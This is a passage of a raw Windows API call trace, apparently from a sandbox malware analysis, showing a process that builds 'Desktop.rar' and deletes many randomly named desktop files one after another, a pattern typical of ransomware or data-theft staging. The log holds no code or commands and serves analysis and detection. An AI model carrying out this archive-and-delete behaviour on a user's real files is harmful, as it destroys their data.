[0066.648] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.648] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.648] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.648] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="TYcyuRxH.mkv") returned 12 [0066.648] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.648] GetTickCount () returned 0xa66f87 [0066.648] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95189424913) returned 1 [0066.649] GetTickCount () returned 0xa66f87 [0066.649] GetTickCount () returned 0xa66f87 [0066.649] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.649] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.649] GetFocus () returned 0x10232 [0066.649] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.649] DeleteFileW (lpFileName="Qes6-o-.docx" (normalized: "c:\\users\\whuoxysd\\desktop\\qes6-o-.docx")) returned 1 [0066.649] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.650] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.650] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.650] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.650] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.650] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.650] SetWindowTextW (hWnd=0x10216, lpString="Qes6-o-.docx") returned 1 [0066.650] GetTickCount () returned 0xa66f87 [0066.650] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.650] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.650] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.650] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.650] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Qes6-o-.docx") returned 12 [0066.650] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.650] GetTickCount () returned 0xa66f87 [0066.650] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95189590127) returned 1 [0066.651] GetTickCount () returned 0xa66f87 [0066.651] GetTickCount () returned 0xa66f87 [0066.651] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.651] DeleteFileW (lpFileName="PWldfUkUS.mp3" (normalized: "c:\\users\\whuoxysd\\desktop\\pwldfukus.mp3")) returned 1 [0066.651] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.651] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.651] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.651] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.651] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.651] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.651] SetWindowTextW (hWnd=0x10216, lpString="PWldfUkUS.mp3") returned 1 [0066.652] GetTickCount () returned 0xa66f87 [0066.652] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.652] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.652] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.652] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.652] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="PWldfUkUS.mp3") returned 13 [0066.652] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.652] GetTickCount () returned 0xa66f87 [0066.652] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95189744521) returned 1 [0066.652] GetTickCount () returned 0xa66f87 [0066.652] GetTickCount () returned 0xa66f87 [0066.652] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.652] DeleteFileW (lpFileName="MKzdWyU3NziO.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\mkzdwyu3nzio.m4a")) returned 1 [0066.653] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.653] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.653] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.653] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.653] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.653] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.653] SetWindowTextW (hWnd=0x10216, lpString="MKzdWyU3NziO.m4a") returned 1 [0066.653] GetTickCount () returned 0xa66f87 [0066.653] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.653] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.653] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.653] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.653] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="MKzdWyU3NziO.m4a") returned 16 [0066.653] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.654] GetTickCount () returned 0xa66f87 [0066.654] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95189896346) returned 1 [0066.654] GetTickCount () returned 0xa66f87 [0066.654] GetTickCount () returned 0xa66f87 [0066.654] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.654] DeleteFileW (lpFileName="LFfk9JORsG.avi" (normalized: "c:\\users\\whuoxysd\\desktop\\lffk9jorsg.avi")) returned 1 [0066.654] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.654] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.654] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.654] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.654] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.654] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.654] SetWindowTextW (hWnd=0x10216, lpString="LFfk9JORsG.avi") returned 1 [0066.655] GetTickCount () returned 0xa66f87 [0066.655] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.655] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.655] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.655] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.655] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="LFfk9JORsG.avi") returned 14 [0066.655] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.655] GetTickCount () returned 0xa66f87 [0066.655] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95190048082) returned 1 [0066.655] GetTickCount () returned 0xa66f87 [0066.655] GetTickCount () returned 0xa66f87 [0066.655] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.655] DeleteFileW (lpFileName="L4T8mDg3vHms9Y.xls" (normalized: "c:\\users\\whuoxysd\\desktop\\l4t8mdg3vhms9y.xls")) returned 1 [0066.656] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.656] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.656] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.656] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.656] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.656] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.656] SetWindowTextW (hWnd=0x10216, lpString="L4T8mDg3vHms9Y.xls") returned 1 [0066.656] GetTickCount () returned 0xa66f87 [0066.656] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.656] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.656] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.656] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.656] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="L4T8mDg3vHms9Y.xls") returned 18 [0066.656] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.657] GetTickCount () returned 0xa66f87 [0066.657] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95190198437) returned 1 [0066.657] GetTickCount () returned 0xa66f87 [0066.657] GetTickCount () returned 0xa66f87 [0066.657] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.657] DeleteFileW (lpFileName="JhTtCfiuDFLeGwcL.bmp" (normalized: "c:\\users\\whuoxysd\\desktop\\jhttcfiudflegwcl.bmp")) returned 1 [0066.657] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.657] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.657] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.657] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.658] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.658] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.658] SetWindowTextW (hWnd=0x10216, lpString="JhTtCfiuDFLeGwcL.bmp") returned 1 [0066.658] GetTickCount () returned 0xa66f97 [0066.658] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.658] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.658] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.658] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.658] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="JhTtCfiuDFLeGwcL.bmp") returned 20 [0066.658] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.658] GetTickCount () returned 0xa66f97 [0066.658] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95190371125) returned 1 [0066.658] GetTickCount () returned 0xa66f97 [0066.658] GetTickCount () returned 0xa66f97 [0066.658] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.658] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.658] GetFocus () returned 0x10232 [0066.658] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.658] DeleteFileW (lpFileName="jGh255P.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\jgh255p.m4a")) returned 1 [0066.659] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.659] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.659] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.659] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.659] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.659] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.659] SetWindowTextW (hWnd=0x10216, lpString="jGh255P.m4a") returned 1 [0066.659] GetTickCount () returned 0xa66f97 [0066.659] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.659] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.659] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.660] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.660] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="jGh255P.m4a") returned 11 [0066.660] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.660] GetTickCount () returned 0xa66f97 [0066.660] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95190632390) returned 1 [0066.661] GetTickCount () returned 0xa66f97 [0066.661] GetTickCount () returned 0xa66f97 [0066.661] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 1 [0066.661] GetMessageW (in: lpMsg=0x1bd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd540) returned 1 [0066.661] GetFocus () returned 0x10232 [0066.661] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd540) returned 1 [0066.661] PeekMessageW (in: lpMsg=0x1bd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd610) returned 0 [0066.662] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.662] DeleteFileW (lpFileName="HAuM_g1AD_0J.mp4" (normalized: "c:\\users\\whuoxysd\\desktop\\haum_g1ad_0j.mp4")) returned 1 [0066.662] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.662] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.662] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.662] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.662] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.662] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.662] SetWindowTextW (hWnd=0x10216, lpString="HAuM_g1AD_0J.mp4") returned 1 [0066.662] GetTickCount () returned 0xa66f97 [0066.663] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.663] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.663] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.663] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.663] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="HAuM_g1AD_0J.mp4") returned 16 [0066.663] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.663] GetTickCount () returned 0xa66f97 [0066.663] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95190834492) returned 1 [0066.663] GetTickCount () returned 0xa66f97 [0066.663] GetTickCount () returned 0xa66f97 [0066.663] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.663] DeleteFileW (lpFileName="gblyrzexggw.exe" (normalized: "c:\\users\\whuoxysd\\desktop\\gblyrzexggw.exe")) returned 1 [0066.664] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.664] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.665] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.665] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.665] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.665] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.665] SetWindowTextW (hWnd=0x10216, lpString="gblyrzexggw.exe") returned 1 [0066.665] GetTickCount () returned 0xa66f97 [0066.665] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.665] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.665] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.665] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.665] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="gblyrzexggw.exe") returned 15 [0066.665] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.665] GetTickCount () returned 0xa66f97 [0066.665] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191087031) returned 1 [0066.666] GetTickCount () returned 0xa66f97 [0066.666] GetTickCount () returned 0xa66f97 [0066.666] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.666] DeleteFileW (lpFileName="FuvJMN.m4a" (normalized: "c:\\users\\whuoxysd\\desktop\\fuvjmn.m4a")) returned 1 [0066.666] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.666] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.666] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.666] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.666] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.666] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.666] SetWindowTextW (hWnd=0x10216, lpString="FuvJMN.m4a") returned 1 [0066.667] GetTickCount () returned 0xa66f97 [0066.667] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.667] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.667] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.667] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.667] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="FuvJMN.m4a") returned 10 [0066.667] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.667] GetTickCount () returned 0xa66f97 [0066.667] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191240036) returned 1 [0066.667] GetTickCount () returned 0xa66f97 [0066.667] GetTickCount () returned 0xa66f97 [0066.667] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.667] DeleteFileW (lpFileName="Fj4kdfeguFEe8WDxBVP.png" (normalized: "c:\\users\\whuoxysd\\desktop\\fj4kdfegufee8wdxbvp.png")) returned 1 [0066.668] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.668] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.668] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.668] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.668] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.668] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.668] SetWindowTextW (hWnd=0x10216, lpString="Fj4kdfeguFEe8WDxBVP.png") returned 1 [0066.668] GetTickCount () returned 0xa66f97 [0066.668] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.668] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.668] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.668] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.668] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Fj4kdfeguFEe8WDxBVP.png") returned 23 [0066.668] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.669] GetTickCount () returned 0xa66f97 [0066.669] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191394757) returned 1 [0066.669] GetTickCount () returned 0xa66f97 [0066.669] GetTickCount () returned 0xa66f97 [0066.669] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.669] DeleteFileW (lpFileName="f7MdNo-AKV0.mkv" (normalized: "c:\\users\\whuoxysd\\desktop\\f7mdno-akv0.mkv")) returned 1 [0066.669] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.669] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.669] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.669] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.669] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.669] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.669] SetWindowTextW (hWnd=0x10216, lpString="f7MdNo-AKV0.mkv") returned 1 [0066.670] GetTickCount () returned 0xa66f97 [0066.670] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.670] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.670] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.670] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.670] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="f7MdNo-AKV0.mkv") returned 15 [0066.670] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.670] GetTickCount () returned 0xa66f97 [0066.670] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191549521) returned 1 [0066.670] GetTickCount () returned 0xa66f97 [0066.670] GetTickCount () returned 0xa66f97 [0066.670] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.670] DeleteFileW (lpFileName="e-bHwq0LPy0uA9lpR0jp.jpg" (normalized: "c:\\users\\whuoxysd\\desktop\\e-bhwq0lpy0ua9lpr0jp.jpg")) returned 1 [0066.671] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.671] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.671] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.671] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.671] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.671] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.671] SetWindowTextW (hWnd=0x10216, lpString="e-bHwq0LPy0uA9lpR0jp.jpg") returned 1 [0066.671] GetTickCount () returned 0xa66f97 [0066.671] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.671] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.671] SetWindowTextW (hWnd=0x10214, lpString="") returned 1 [0066.671] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.671] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="e-bHwq0LPy0uA9lpR0jp.jpg") returned 24 [0066.671] SetWindowTextW (hWnd=0x10216, lpString="") returned 1 [0066.672] GetTickCount () returned 0xa66f97 [0066.672] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd520 | out: lpPerformanceCount=0x1bd520*=95191700700) returned 1 [0066.672] GetTickCount () returned 0xa66f97 [0066.672] GetTickCount () returned 0xa66f97 [0066.672] PeekMessageW (in: lpMsg=0x1bd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd5b0) returned 0 [0066.672] DeleteFileW (lpFileName="dfxuFxjX5YwdPMIH\\YEeHQp1lME uExplJtB3.flv" (normalized: "c:\\users\\whuoxysd\\desktop\\dfxufxjx5ywdpmih\\yeehqp1lme uexpljtb3.flv")) returned 1 [0066.672] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bb970, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0066.672] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.672] GetWindowTextW (in: hWnd=0x10214, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.672] SetWindowTextW (hWnd=0x10214, lpString="Deleting") returned 1 [0066.672] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0066.672] GetWindowTextW (in: hWnd=0x10216, lpString=0x1ba520, nMaxCount=2560 | out: lpString="") returned 0 [0066.672] SetWindowTextW (hWnd=0x10216, lpString="YEeHQp1lME uExplJtB3.flv") returned 1 [0066.672] GetTickCount () returned 0xa66f97 [0066.673] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0066.673] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0066.673] 